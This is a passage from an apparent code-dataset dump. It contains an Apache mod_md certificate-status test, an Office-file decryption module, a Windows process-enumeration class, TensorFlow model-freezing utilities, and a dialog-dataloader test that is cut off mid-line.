env.get_md_status(\"\", via_domain=env.http_addr, use_https=False)\n assert \"version\" in status\n assert \"managed-domains\" in status\n assert 1 == len(status[\"managed-domains\"])\n # get the html page\n status = env.get_server_status(via_domain=env.http_addr, use_https=False)\n assert re.search(r'

    Managed Certificates

    ', status, re.MULTILINE)\n # get the ascii summary\n status = env.get_server_status(query=\"?auto\", via_domain=env.http_addr, use_https=False)\n m = re.search(r'Managed Certificates: total=(\\d+), ok=(\\d+) renew=(\\d+) errored=(\\d+) ready=(\\d+)',\n status, re.MULTILINE)\n assert int(m.group(1)) == 1\n assert int(m.group(2)) == 0\n assert int(m.group(3)) == 1\n assert int(m.group(4)) == 0\n assert int(m.group(5)) == 1\n\n def test_920_011(self, env):\n # MD with static cert files in base server, see issue #161\n domain = self.test_domain\n domains = [domain, 'www.%s' % domain]\n testpath = os.path.join(env.gen_dir, 'test_920_011')\n # cert that is only 10 more days valid\n env.create_self_signed_cert(domains, {\"notBefore\": -70, \"notAfter\": 20},\n serial=920011, path=testpath)\n cert_file = os.path.join(testpath, 'pubcert.pem')\n pkey_file = os.path.join(testpath, 'privkey.pem')\n assert os.path.exists(cert_file)\n assert os.path.exists(pkey_file)\n conf = HttpdConf(env, std_vhosts=False, std_ports=False, text=f\"\"\"\n MDBaseServer on\n MDPortMap http:- https:{env.https_port}\n\n Listen {env.http_port}\n Listen {env.https_port} https\n ServerName {domain}\n \n SSLEngine on\n \n \n TLSListen {env.https_port}\n TLSStrictSNI off\n \n Protocols h2 http/1.1 acme-tls/1\n\n \n SetHandler server-status\n \n \n SetHandler md-status\n \n \"\"\")\n conf.start_md(domains)\n conf.add(f\"MDCertificateFile {cert_file}\")\n conf.add(f\"MDCertificateKeyFile {pkey_file}\")\n conf.end_md()\n conf.start_vhost([env.http_addr], port=env.http_port)\n conf.add(\"SSLEngine off\")\n conf.end_vhost()\n conf.install()\n assert env.apache_restart() == 0\n status = env.get_md_status(domain, via_domain=env.http_addr, use_https=False)\n assert status\n assert 'renewal' not in status\n print(status)\n assert status['state'] == env.MD_S_COMPLETE\n assert status['renew-mode'] == 1 # manual\n\n # MD with 2 certificates\n def test_920_020(self, env):\n domain = self.test_domain\n domains = [domain]\n conf = HttpdConf(env)\n conf.add(\"MDStapling on\")\n conf.add(\"MDPrivateKeys secp256r1 RSA\")\n conf.add_md(domains)\n conf.add_vhost(domain)\n conf.install()\n env.apache_error_log_clear()\n assert env.apache_restart() == 0\n assert env.await_completion([domain], restart=False)\n # In the stats JSON, we excpect 2 certificates under 'renewal'\n stat = env.get_md_status(domain)\n assert 'renewal' in stat\n assert 'cert' in stat['renewal']\n assert 'rsa' in stat['renewal']['cert']\n assert 'secp256r1' in stat['renewal']['cert']\n # In /.httpd/certificate-status 'renewal' we excpect 2 certificates\n status = env.get_certificate_status(domain)\n assert 'renewal' in status\n assert 'cert' in status['renewal']\n assert 'secp256r1' in status['renewal']['cert']\n assert 'rsa' in status['renewal']['cert']\n # restart and activate\n # once activated, certs are listed in status\n assert env.apache_restart() == 0\n stat = env.get_md_status(domain)\n assert 'cert' in stat\n assert 'valid' in stat['cert']\n for ktype in ['rsa', 'secp256r1']:\n assert ktype in stat['cert']\n if env.acme_server == 'boulder':\n assert 'ocsp' in stat['cert'][ktype]\n env.apache_errors_check()\n", "source": "igalic/mod_md", "license": "Apache-2.0"} {"text": "import logging\nimport base64, io\nfrom struct import unpack\nfrom xml.dom.minidom import parseString\nimport zipfile\n\nimport olefile\n\nfrom .. import exceptions\nfrom . import base\nfrom .common import _parse_encryptionheader, _parse_encryptionverifier\nfrom ..method.ecma376_agile import ECMA376Agile\nfrom ..method.ecma376_standard import ECMA376Standard\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.NullHandler())\n\n\ndef _parseinfo_standard(ole):\n (headerFlags,) = unpack(\">> with open(\"tests/inputs/example_password.docx\", \"rb\") as f:\n ... officefile = OOXMLFile(f)\n ... officefile.load_key(password=\"Password1234_\", verify_password=True)\n\n >>> with open(\"tests/inputs/example_password.docx\", \"rb\") as f:\n ... officefile = OOXMLFile(f)\n ... officefile.load_key(password=\"0000\", verify_password=True)\n Traceback (most recent call last):\n ...\n msoffcrypto.exceptions.InvalidKeyError: ...\n \"\"\"\n\n def __init__(self, file):\n self.format = \"ooxml\"\n file.seek(0) # TODO: Investigate the effect (required for olefile.isOleFile)\n # olefile cannot process non password protected ooxml files.\n # TODO: this code is duplicate of OfficeFile(). Merge?\n if olefile.isOleFile(file):\n ole = olefile.OleFileIO(file)\n self.file = ole\n with self.file.openstream(\"EncryptionInfo\") as stream:\n self.type, self.info = _parseinfo(stream)\n logger.debug(\"OOXMLFile.type: {}\".format(self.type))\n self.secret_key = None\n if self.type == \"agile\":\n # TODO: Support aliases?\n self.keyTypes = (\"password\", \"private_key\", \"secret_key\")\n elif self.type == \"standard\":\n self.keyTypes = (\"password\", \"secret_key\")\n elif self.type == \"extensible\":\n pass\n elif zipfile.is_zipfile(file):\n self.file = file\n self.type, self.info = None, None\n self.secret_key = None\n else:\n raise exceptions.FileFormatError(\"Unsupported file format\")\n\n def load_key(self, password=None, private_key=None, secret_key=None, verify_password=False):\n if password:\n if self.type == \"agile\":\n self.secret_key = ECMA376Agile.makekey_from_password(\n password,\n self.info[\"passwordSalt\"],\n self.info[\"passwordHashAlgorithm\"],\n self.info[\"encryptedKeyValue\"],\n self.info[\"spinValue\"],\n self.info[\"passwordKeyBits\"],\n )\n if verify_password:\n verified = ECMA376Agile.verify_password(\n password,\n self.info[\"passwordSalt\"],\n self.info[\"passwordHashAlgorithm\"],\n self.info[\"encryptedVerifierHashInput\"],\n self.info[\"encryptedVerifierHashValue\"],\n self.info[\"spinValue\"],\n self.info[\"passwordKeyBits\"],\n )\n if not verified:\n raise exceptions.InvalidKeyError(\"Key verification failed\")\n elif self.type == \"standard\":\n self.secret_key = ECMA376Standard.makekey_from_password(\n password,\n self.info[\"header\"][\"algId\"],\n self.info[\"header\"][\"algIdHash\"],\n self.info[\"header\"][\"providerType\"],\n self.info[\"header\"][\"keySize\"],\n self.info[\"verifier\"][\"saltSize\"],\n self.info[\"verifier\"][\"salt\"],\n )\n if verify_password:\n verified = ECMA376Standard.verifykey(\n self.secret_key, self.info[\"verifier\"][\"encryptedVerifier\"], self.info[\"verifier\"][\"encryptedVerifierHash\"]\n )\n if not verified:\n raise exceptions.InvalidKeyError(\"Key verification failed\")\n elif self.type == \"extensible\":\n pass\n elif private_key:\n if self.type == \"agile\":\n self.secret_key = ECMA376Agile.makekey_from_privkey(private_key, self.info[\"encryptedKeyValue\"])\n else:\n raise exceptions.DecryptionError(\"Unsupported key type for the encryption method\")\n elif secret_key:\n self.secret_key = secret_key\n\n def decrypt(self, ofile, verify_integrity=False):\n if self.type == \"agile\":\n with self.file.openstream(\"EncryptedPackage\") as stream:\n if verify_integrity:\n verified = ECMA376Agile.verify_integrity(\n self.secret_key,\n self.info[\"keyDataSalt\"],\n self.info[\"keyDataHashAlgorithm\"],\n self.info[\"keyDataBlockSize\"],\n self.info[\"encryptedHmacKey\"],\n self.info[\"encryptedHmacValue\"],\n stream,\n )\n if not verified:\n raise exceptions.InvalidKeyError(\"Payload integrity verification failed\")\n\n obuf = ECMA376Agile.decrypt(self.secret_key, self.info[\"keyDataSalt\"], self.info[\"keyDataHashAlgorithm\"], stream)\n ofile.write(obuf)\n elif self.type == \"standard\":\n with self.file.openstream(\"EncryptedPackage\") as stream:\n obuf = ECMA376Standard.decrypt(self.secret_key, stream)\n ofile.write(obuf)\n\n # If the file is successfully decrypted, there must be a valid OOXML file, i.e. a valid zip file\n if not zipfile.is_zipfile(io.BytesIO(obuf)):\n raise exceptions.InvalidKeyError(\"The file could not be decrypted with this password\")\n\n def is_encrypted(self):\n # Heuristic\n if isinstance(self.file, olefile.OleFileIO):\n return True\n else:\n return False\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "from wpc.principal import principal\nfrom wpc.process import process\nimport win32process\nimport win32ts\nimport wpc.conf\nimport ctypes\nimport win32con\n\nclass PROCESSENTRY32(ctypes.Structure):\n _fields_ = [(\"dwSize\", ctypes.c_ulong),\n (\"cntUsage\", ctypes.c_ulong),\n (\"th32ProcessID\", ctypes.c_ulong),\n (\"th32DefaultHeapID\", ctypes.c_ulong),\n (\"th32ModuleID\", ctypes.c_ulong),\n (\"cntThreads\", ctypes.c_ulong),\n (\"th32ParentProcessID\", ctypes.c_ulong),\n (\"pcPriClassBase\", ctypes.c_ulong),\n (\"dwFlags\", ctypes.c_ulong),\n (\"szExeFile\", ctypes.c_char * 260)]\n\nclass processes:\n def __init__(self):\n self.processes = []\n\n def add(self, p):\n self.processes.append(p)\n\n def get_all(self):\n if self.processes == []:\n pids = win32process.EnumProcesses()\n try:\n proc_infos = win32ts.WTSEnumerateProcesses(wpc.conf.remote_server, 1, 0)\n except:\n proc_infos = []\n pass\n\n for pid in pids:\n p = process(pid)\n self.add(p)\n\n for proc_info in proc_infos:\n pid = proc_info[1]\n p = self.find_by_pid(pid)\n if p: # might fail to find process - race condition\n p.set_wts_session_id(proc_info[0])\n p.set_wts_name(proc_info[2])\n if proc_info[3]: # sometimes None\n p.set_wts_sid(principal(proc_info[3]))\n\n TH32CS_SNAPPROCESS = 0x00000002\n\n # See http://msdn2.microsoft.com/en-us/library/ms686701.aspx\n CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot\n Process32First = ctypes.windll.kernel32.Process32First\n Process32Next = ctypes.windll.kernel32.Process32Next\n Thread32First = ctypes.windll.kernel32.Thread32First\n Thread32Next = ctypes.windll.kernel32.Thread32Next\n CloseHandle = ctypes.windll.kernel32.CloseHandle\n\n hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)\n pe32 = PROCESSENTRY32()\n pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)\n if Process32First(hProcessSnap, ctypes.byref(pe32)) == win32con.FALSE:\n pass\n #print >> sys.stderr, \"Failed getting first process.\"\n #return\n else:\n while True:\n p = self.find_by_pid(pe32.th32ProcessID)\n if p: # might fail to find process - race condition\n p.set_short_name(pe32.szExeFile)\n\n if Process32Next(hProcessSnap, ctypes.byref(pe32)) == win32con.FALSE:\n break\n CloseHandle(hProcessSnap)\n\n return self.processes\n\n def find_by_pid(self, pid):\n for p in self.processes:\n if p.pid == pid:\n return p\n return None", "source": "cys3c/viper-shell", "license": "PSF-2.0"} {"text": "import tensorflow as tf\nimport os\n\nfrom tensorflow.python.tools import freeze_graph\nfrom tensorflow.contrib.framework.python.ops import audio_ops as contrib_audio\nfrom tensorflow.python.framework import graph_util\n\nimport input_data\nimport models\n\ndef convert_frozen_graph_to_tflite(save_path=None,\n graph_name='frozen_graph.pb',\n input_array='fingerprint_input',\n output_array='logits/SoftMax',\n output_tflite_file=\"swiftnet-uint8.lite\",\n post_training_quantize=True,\n enable_dummy_quant=True):\n\t\"\"\"\n\tConvert the frozen graph pb to tflite model (8-bit)\n\t:param graph_name: name of frozen graph\n\t:param input_array: input nodes array\n\t:param output_array: output nodes array\n\t:param output_tflite_file: Output tflite file name.\n\t:param post_training_quantize: Whether to enable post training quantization\n\t:param\n\t:return:\n\t\"\"\"\n\tif not isinstance(input_array, list):\n\t\tinput_arrays = [input_array]\n\telse:\n\t\tinput_arrays = input_array\n\tif not isinstance(output_array, list):\n\t\toutput_arrays = [output_array]\n\telse:\n\t\toutput_arrays = output_array\n\n\tgraph_def_file = os.path.join(save_path, graph_name)\n\ttry:\n\t\tconverter = tf.contrib.lite.TFLiteConverter.from_frozen_graph(\n\t\t\tgraph_def_file, input_arrays, output_arrays)\n\texcept Exception:\n\t\t# tf1.14\n\t\tconverter = tf.lite.TFLiteConverter.from_frozen_graph(\n\t\t\tgraph_def_file, input_arrays, output_arrays)\n\n\t# Official pipeline not working...\n\t# converter.optimizations = [tf.lite.Optimize.OPTIMIZE_FOR_SIZE]\n\tconverter.optimizations = [tf.lite.Optimize.DEFAULT]\t# just quantisize weight to 8bit\n\t# if post_training_quantize:\n\t# \t# converter.post_training_quantize = True\t# True flag is used to convert float model\n\t# \tconverter.inference_type = tf.lite.constants.QUANTIZED_UINT8\n\t# \tconverter.quantized_input_stats = {input_arrays[0]: (0.0, 1.0)}\n\t# \tif enable_dummy_quant:\n\t# \t\tconverter.default_ranges_stats = (0, 6)\n\t# else:\n\t# \tconverter.post_training_quantize = False\n\n\ttflite_model = converter.convert()\n\ttflite_output_path = os.path.join(save_path, output_tflite_file)\n\topen(tflite_output_path, \"wb\").write(tflite_model)\n\n\ndef save_to_graphpb_and_freeze(sess,\n output_node_names,\n model_dir,\n graph_name=\"frozen_graph.pb\"):\n\t\"\"\"\n\t:param pb_log_dir:\n\t:param output_node_names:\n\t:param graph_name:\n\t:return:\n\t\"\"\"\n\n\tpb_txt_name = graph_name + \".pbtxt\"\n\tpb_txt_path = os.path.join(model_dir, pb_txt_name)\n\tpb_output_path = os.path.join(model_dir, graph_name)\n\n\ttf.train.write_graph(sess.graph_def, model_dir, pb_txt_name, as_text=True)\n\n\tckpt_dir = model_dir\n\tckpt_path = tf.train.latest_checkpoint(ckpt_dir)\n\n\t# Construct a copy for debug\n\tsaver = tf.train.Saver()\n\tsave_path_ = os.path.join(model_dir, \"model-lite.ckpt\")\n\tsaver.save(sess, save_path_)\n\n\tfreeze_graph.freeze_graph(input_graph=pb_txt_path, input_saver='', input_binary=False,\n\t input_checkpoint=ckpt_path, output_node_names=output_node_names,\n\t restore_op_name='save/restore_all', filename_tensor_name='save/Const:0',\n\t output_graph=pb_output_path, clear_devices=True, initializer_nodes='')\n\ndtype_dict = {\n \"float32\": tf.float32,\n \"uint8\": tf.uint8\n}\n\ndef create_inference_graph(wanted_words, sample_rate, clip_duration_ms,\n clip_stride_ms, window_size_ms, window_stride_ms,\n dct_coefficient_count, model_architecture, model_size_info, output_node_name):\n\t\"\"\"Creates an audio model with the nodes needed for inference.\n\n\tUses the supplied arguments to create a model, and inserts the input and\n\toutput nodes that are needed to use the graph for inference.\n\n\tArgs:\n\t\twanted_words: Comma-separated list of the words we're trying to recognize.\n\t\tsample_rate: How many samples per second are in the input audio files.\n\t\tclip_duration_ms: How many samples to analyze for the audio pattern.\n\t\tclip_stride_ms: How often to run recognition. Useful for models with cache.\n\t\twindow_size_ms: Time slice duration to estimate frequencies from.\n\t\twindow_stride_ms: How far apart time slices should be.\n\t\tdct_coefficient_count: Number of frequency bands to analyze.\n\t\tmodel_architecture: Name of the kind of model to generate.\n\t\"\"\"\n\n\twords_list = input_data.prepare_words_list(wanted_words.split(','))\n\tmodel_settings = models.prepare_model_settings(\n\t\tlen(words_list), sample_rate, clip_duration_ms, window_size_ms,\n\t\twindow_stride_ms, dct_coefficient_count)\n\truntime_settings = {'clip_stride_ms': clip_stride_ms}\n\n\twav_data_placeholder = tf.placeholder(tf.string, [], name='wav_data')\n\tdecoded_sample_data = contrib_audio.decode_wav(\n\t\twav_data_placeholder,\n\t\tdesired_channels=1,\n\t\tdesired_samples=model_settings['desired_samples'],\n\t\tname='decoded_sample_data')\n\tspectrogram = contrib_audio.audio_spectrogram(\n\t\tdecoded_sample_data.audio,\n\t\twindow_size=model_settings['window_size_samples'],\n\t\tstride=model_settings['window_stride_samples'],\n\t\tmagnitude_squared=True)\n\tfingerprint_input = contrib_audio.mfcc(\n\t\tspectrogram,\n\t\tdecoded_sample_data.sample_rate,\n\t\tdct_coefficient_count=dct_coefficient_count)\n\tfingerprint_frequency_size = model_settings['dct_coefficient_count']\n\tfingerprint_time_size = model_settings['spectrogram_length']\n\treshaped_input = tf.reshape(fingerprint_input, [\n\t\t-1, fingerprint_time_size * fingerprint_frequency_size\n\t])\n\n\tlogits = models.create_model(\n\t\treshaped_input, model_settings, model_architecture, model_size_info,\n\t\tis_training=False, runtime_settings=runtime_settings)\n\n\t# Create an output to use for inference.\n\ttf.nn.softmax(logits, name=output_node_name)\n\ndef freeze(sess, FLAGS, model_dir, file_name='frozen_graph.pb'):\n\t# Turn all the variables into inline constants inside the graph and save it.\n\tfrozen_graph_def = graph_util.convert_variables_to_constants(\n\t\tsess, sess.graph_def, ['labels_softmax'])\n\ttf.train.write_graph(\n\t\tfrozen_graph_def,\n\t\tos.path.dirname(model_dir),\n\t\tos.path.basename(file_name),\n\t\tas_text=False)\n\ttf.logging.info('Saved frozen graph to %s', file_name)\n\ndef convert(sess,\n model_dir,\n\t\t\tFLAGS,\n inference_type=\"float32\",\n output_node_name=\"logits/activation\",\n enable_dummy_quant=False,\n triplet=\"conv-bn-relu\",\n ):\n\t\n\tcreate_inference_graph(FLAGS.wanted_words, FLAGS.sample_rate,\n FLAGS.clip_duration_ms, FLAGS.clip_stride_ms,\n FLAGS.window_size_ms, FLAGS.window_stride_ms,\n FLAGS.dct_coefficient_count, FLAGS.model_architecture,\n FLAGS.model_size_info, output_node_name)\n\t\n\t# output_node_names = output_node_name\n\tinference_type = dtype_dict[inference_type]\n\tif inference_type == tf.uint8:\n\t\tQUANTIZE_FLAG = True\n\telse:\n\t\tQUANTIZE_FLAG = False\n\n\tENABLE_DUMMY_QUANT = enable_dummy_quant\n\tif not os.path.exists(model_dir):\n\t\tos.makedirs(model_dir)\n\n\ttf.logging.info(\"Freezing Graph...\")\n\t# save_to_graphpb_and_freeze(sess,\n\t# model_dir=model_dir,\n\t# output_node_names=output_node_name)\n\tfreeze(sess, FLAGS, model_dir)\n\ttf.logging.info(\"Freezing complete!\")\n\n\t# tf.logging.info(\"Converting to TFLite Models...\")\n\t# convert_frozen_graph_to_tflite(input_array='fingerprint_input',\n\t# output_array=output_node_name,\n\t# save_path=model_dir,\n\t# post_training_quantize=QUANTIZE_FLAG,\n\t# enable_dummy_quant=ENABLE_DUMMY_QUANT)\n\t# tf.logging.info(\"Convert complete!\")\n\t# tf.logging.info(\"Complete!\")\n", "source": "Roxbili/kws-demo", "license": "Apache-2.0"} {"text": "import copy\nfrom itertools import chain\nimport pytest\n\nfrom cotk.dataloader import MultiTurnDialog, UbuntuCorpus, SwitchboardCorpus\nfrom cotk.metric import MetricBase\nfrom cotk.wordvector.gloves import Glove\n\ndef setup_module():\n\timport random\n\trandom.seed(0)\n\timport numpy as np\n\tnp.random.seed(0)\n\nclass TestMultiTurnDialog():\n\tdef base_test_init(self, dl):\n\t\tassert isinstance(dl, MultiTurnDialog)\n\t\tassert isinstance(dl.ext_vocab, list)\n\t\tassert dl.ext_vocab[:5] == [\"\", \"\", \"\", \"\"]\n\t\tassert [dl.pad_id, dl.unk_id, dl.go_id, dl.eos_id] == [0, 1, 2, 3]\n\t\tassert isinstance(dl.key_name, list)\n\t\tassert dl.key_name\n\t\tfor word in dl.key_name:\n\t\t\tassert isinstance(word, str)\n\t\tassert isinstance(dl.all_vocab_list, list)\n\t\tassert dl.vocab_list[:len(dl.ext_vocab)] == dl.ext_vocab\n\t\tassert isinstance(dl.word2id, dict)\n\t\tassert len(dl.word2id) == len(dl.all_vocab_list)\n\t\tassert dl.vocab_size == len(dl.vocab_list)\n\t\tfor i, word in enumerate(dl.all_vocab_list):\n\t\t\tassert isinstance(word, str)\n\t\t\tassert dl.word2id[word] == i\n\t\tassert dl.all_vocab_size == len(dl.all_vocab_list)\n\t\tassert isinstance(dl.data, dict)\n\t\tassert len(dl.data) >= 3\n\t\tfor key in dl.key_name:\n\t\t\tassert isinstance(dl.data[key], dict)\n\t\t\tassert isinstance(dl.data[key]['session'], list)\n\t\t\tassert isinstance(dl.data[key]['session'][0], list)\n\t\t\tcontent = dl.data[key]['session'][0][0]\n\t\t\tassert content[0] == dl.go_id\n\t\t\tassert content[-1] == dl.eos_id\n\n\t\t# assert the data has valid token\n\t\tassert dl.vocab_size > 5\n\t\t# assert the data has invalid token\n\t\tassert dl.all_vocab_size > dl.vocab_size\n\n\tdef base_test_all_unknown(self, dl):\n\t\t# if invalid_vocab_times very big, there is no invalid words.\n\t\tassert dl.vocab_size == dl.vocab_size\n\n\tdef base_test_restart(self, dl):\n\t\twith pytest.raises(ValueError):\n\t\t\tdl.restart(\"unknown set\")\n\t\tfor key in dl.key_name:\n\t\t\twith pytest.raises(ValueError):\n\t\t\t\tdl.restart(key)\n\t\t\trecord_index = copy.copy(dl.index[key])\n\t\t\tdl.restart(key, batch_size=3, shuffle=False)\n\t\t\tassert record_index == dl.index[key]\n\t\t\tassert dl.batch_id[key] == 0\n\t\t\tassert dl.batch_size[key] == 3\n\t\t\tdl.restart(key, shuffle=True)\n\t\t\tassert dl.batch_id[key] == 0\n\t\t\trecord_index = copy.copy(dl.index[key])\n\t\t\tdl.restart(key, shuffle=False)\n\t\t\tassert record_index == dl.index[key]\n\t\t\tassert dl.batch_id[key] == 0\n\n\tdef base_test_get_batch(self, dl):\n\t\twith pytest.raises(ValueError):\n\t\t\tdl.get_batch(\"unknown set\", [0, 1])\n\t\tfor key in dl.key_name:\n\t\t\twith pytest.raises(IndexError):\n\t\t\t\tlength = len(dl.data[key]['session'])\n\t\t\t\tdl.get_batch(key, [length-1, length])\n\t\t\tbatch = dl.get_batch(key, [0, 1])\n\t\t\tassert len(dl.index[key]) >= 2\n\t\t\tassert len(batch[\"turn_length\"]) == 2\n\t\t\tassert len(batch[\"sent_length\"]) == 2\n\t\t\tassert isinstance(batch['sent_length'][0], list)\n\t\t\tassert batch['sent'].shape[0] == 2\n\t\t\tassert batch['sent'].shape[1] == max(batch['turn_length'])\n\t\t\tassert batch['sent'].shape[2] == max(chain(*batch['sent_length']))\n\n\t\t\tfor idx in [0, 1]:\n\t\t\t\tfor turn in range(batch['turn_length'][idx]):\n\t\t\t\t\tif batch['sent_length'][idx][turn] < batch['sent'].shape[2]:\n\t\t\t\t\t\tassert batch['sent'][idx][turn][batch['sent_length'][idx][turn]-1] == dl.eos_id\n\t\t\t\t\tassert batch['sent'][idx][turn][0] == dl.go_id\n\n\t\t# this is true, only when there is no unknown words in dl\n\t\t# (Only valid & invalid words)\n\t\tflag = False\n\t\tfor key in dl.key_name:\n\t\t\tlength = len(dl.data[key]['session'])\n\t\t\tfor i in range(length):\n\t\t\t\tbatch = dl.get_batch(key, [i])\n\t\t\t\tassert dl.unk_id not in batch[\"sent_allvocabs\"]\n\t\t\t\tbatch = dl.get_batch(key, [i])\n\t\t\t\tif dl.unk_id in batch[\"sent\"]:\n\t\t\t\t\tflag = True\n\t\tassert flag\n\n\tdef base_test_get_next_batch(self, dl):\n\t\twith pytest.raises(ValueError):\n\t\t\tdl.get_next_batch(\"unknown set\")\n\n\t\tfor key in dl.key_name:\n\t\t\twith pytest.raises(RuntimeError):\n\t\t\t\tdl.get_next_batch(key)\n\n\t\t\tdl.restart(key, 7)\n\t\t\tsample_num = 0\n\t\t\twhile True:\n\t\t\t\tbatch = dl.get_next_batch(key, ignore_left_samples=True)\n\t\t\t\tif not batch:\n\t\t\t\t\tbreak\n\t\t\t\tassert len(batch[\"turn_length\"]) == 7\n\t\t\t\tassert len(batch[\"sent_length\"]) == 7\n\t\t\t\tassert batch['sent'].shape[0] == 7\n\t\t\t\tsample_num += 7\n\t\t\tassert sample_num + 7 >= len(dl.data[key]['session'])\n\n\t\t\tdl.restart(key, 7)\n\t\t\tsample_num = 0\n\t\t\twhile True:\n\t\t\t\tbatch = dl.get_next_batch(key)\n\t\t\t\tassert batch is not None # dummy dataset must not be multiple of 7\n\t\t\t\tif len(batch[\"turn_length\"]) == 7:\n\t\t\t\t\tassert len(batch[\"sent_length\"]) == 7\n\t\t\t\t\tassert batch['sent'].shape[0] == 7\n\t\t\t\t\tsample_num += 7\n\t\t\t\telse:\n\t\t\t\t\tassert len(batch[\"sent_length\"]) == batch['sent'].shape[0]\n\t\t\t\t\tassert len(batch[\"turn_length\"]) == batch['sent'].shape[0]\n\t\t\t\t\tsample_num += batch['sent'].shape[0]\n\t\t\t\t\tbatch = dl.get_next_batch(key)\n\t\t\t\t\tassert not batch\n\t\t\t\t\tbreak\n\t\t\tassert sample_num == len(dl.data[key]['session'])\n\n\tdef base_test_convert(self, dl):\n\t\tsent_id = [0, 1, 2]\n\t\tsent = [\"\", \"\", \"\"]\n\t\tassert sent == dl.convert_ids_to_tokens(sent_id)\n\t\tassert sent_id == dl.convert_tokens_to_ids(sent)\n\n\t\tsent = [\"\", \"\", \"\", \"\", \"\", \"\"]\n\t\tsent_id = [1, 2, 0, 1, 0, 2]\n\t\tassert sent_id == dl.convert_tokens_to_ids(sent)\n\t\tassert sent_id == dl.convert_tokens_to_ids(sent, invalid_vocab=True)\n\n\t\tsent = [dl.all_vocab_list[dl.vocab_size]]\n\t\tassert [1] == dl.convert_tokens_to_ids(sent)\n\t\tassert [dl.vocab_size] == dl.convert_tokens_to_ids(sent, invalid_vocab=True)\n\n\t\tsent_id = [0, 1, 2, 3, 0, 1, 0, 0]\n\t\tsent = [\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\"]\n\t\tassert sent == dl.convert_ids_to_tokens(sent_id, trim=False)\n\t\tsent = [\"\", \"\", \"\"]\n\t\tassert sent == dl.convert_ids_to_tokens(sent_id)\n\n\t\tsent_id = [0, 0, 3]\n\t\tsent = [\"\", \"\", \"\"]\n\t\tassert sent == dl.convert_ids_to_tokens(sent_id, trim=False)\n\t\tassert not dl.convert_ids_to_tokens(sent_id)\n\n\t\tsent_id = [3, 3, 3]\n\t\tsent = [\"\", \"\", \"\"]\n\t\tassert sent == dl.convert_ids_to_tokens(sent_id, trim=False)\n\t\tassert not dl.convert_ids_to_tokens(sent_id)\n\n\t\tsent_id = [0, 0, 0]\n\t\tsent = [\"\", \"\", \"\"]\n\t\tassert sent == dl.convert_ids_to_tokens(sent_id, trim=False)\n\t\tassert not dl.convert_ids_to_tokens(sent_id)\n\n\tdef base_test_multi_turn_convert(self, dl):\n\t\tsent_id = [[0, 1, 2], [2, 1, 1]]\n\t\tsent = [[\"\", \"\", \"\"], [\"\", \"\", \"\"]]\n\t\tassert sent == dl.convert_multi_turn_ids_to_tokens(sent_id)\n\t\tassert sent_id == dl.convert_multi_turn_tokens_to_ids(sent)\n\n\t\tsent = [[\"\", \"\", \"\", \"\", \"\", \"\"], [\"\", \"\"]]\n\t\tsent_id = [[1, 2, 0, 1, 0, 2], [2, 3]]\n\t\tassert sent_id == dl.convert_multi_turn_tokens_to_ids(sent)\n\n\t\tsent_id = [[0, 1, 2, 2, 0, 3, 1, 0, 0], [0, 3, 2], [1, 2, 2, 0], [1, 2, 2, 3]]\n\t\tsent = [[\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\"], \\\n\t\t\t\t[\"\", \"\", \"\"], \\\n\t\t\t\t[\"\", \"\", \"\", \"\"], \\\n\t\t\t\t[\"\", \"\", \"\", \"\"]]\n\t\tassert sent == dl.convert_multi_turn_ids_to_tokens(sent_id, trim=False)\n\t\tsent = [[\"\", \"\", \"\", \"\"]]\n\t\tassert sent == dl.convert_multi_turn_ids_to_tokens(sent_id)\n\n\t\tsent = [[dl.all_vocab_list[dl.vocab_size]]]\n\t\tassert [[1]] == dl.convert_multi_turn_tokens_to_ids(sent)\n\t\tassert [[dl.vocab_size]] == dl.convert_multi_turn_tokens_to_ids(sent, invalid_vocab=True)\n\n\tdef base_test_teacher_forcing_metric(self, dl):\n\t\tassert isinstance(dl.get_teacher_forcing_metric(), MetricBase)\n\n\tdef base_test_teacher_inference_metric(self, dl):\n\t\tassert isinstance(dl.get_inference_metric(), MetricBase)\n\n\tdef base_test_multi_runs(self, dl_list):\n\t\tassert all(x.vocab_list == dl_list[0].vocab_list for x in dl_list)\n\n@pytest.fixture\ndef load_ubuntucorpus():\n\tdef _load_ubuntucorpus(invalid_vocab_times=0):\n\t\treturn UbuntuCorpus(\"./tests/dataloader/dummy_ubuntucorpus\", invalid_vocab_times=invalid_vocab_times)\n\treturn _load_ubuntucorpus\n\nclass TestUbuntuCorpus(TestMultiTurnDialog):\n\n\t@pytest.mark.dependency()\n\tdef test_init(self, load_ubuntucorpus):\n\t\tsuper().base_test_init(load_ubuntucorpus())\n\n\tdef test_restart(self, load_ubuntucorpus):\n\t\tsuper().base_test_restart(load_ubuntucorpus())\n\n\t@pytest.mark.dependency(depends=[\"TestUbuntuCorpus::test_init\"])\n\tdef test_get_batch(self, load_ubuntucorpus):\n\t\tsuper().base_test_get_batch(load_ubuntucorpus())\n\n\t@pytest.mark.dependency(depends=[\"TestUbuntuCorpus::test_init\"])\n\tdef test_get_next_batch(self, load_ubuntucorpus):\n\t\tsuper().base_test_get_next_batch(load_ubuntucorpus())\n\n\t@pytest.mark.dependency(depends=[\"TestUbuntuCorpus::test_init\"])\n\tdef test_convert(self, load_ubuntucorpus):\n\t\tsuper().base_test_convert(load_ubuntucorpus())\n\n\tdef test_multi_turn_convert(self, load_ubuntucorpus):\n\t\tsuper().base_test_multi_turn_convert(load_ubuntucorpus())\n\n\tdef test_teacher_forcing_metric(self, load_ubuntucorpus):\n\t\tsuper().base_test_teacher_forcing_metric(load_ubuntucorpus())\n\n\tdef test_teacher_inference_metric(self, load_ubuntucorpus):\n\t\tsuper().base_test_teacher_inference_metric(load_ubuntucorpus())\n\n\tdef test_init_multi_runs(self, load_ubuntucorpus):\n\t\tsuper().base_test_multi_runs([load_ubuntucorpus() for i in range(3)])\n\n@pytest.fixture\ndef load_switchboardcorpus():\n\tdef _load_switchboardcorpus(invalid_vocab_times=0):\n\t\treturn SwitchboardCorpus(\"./tests/dataloader/dummy_switchboardcorpus\", invalid_vocab_times=invalid_vocab_times)\n\treturn _load_switchboardcorpus\n\nclass TestSwitchboardCorpus(TestMultiTurnDialog):\n\n\t@pytest.mark.dependency()\n\tdef test_init(self, 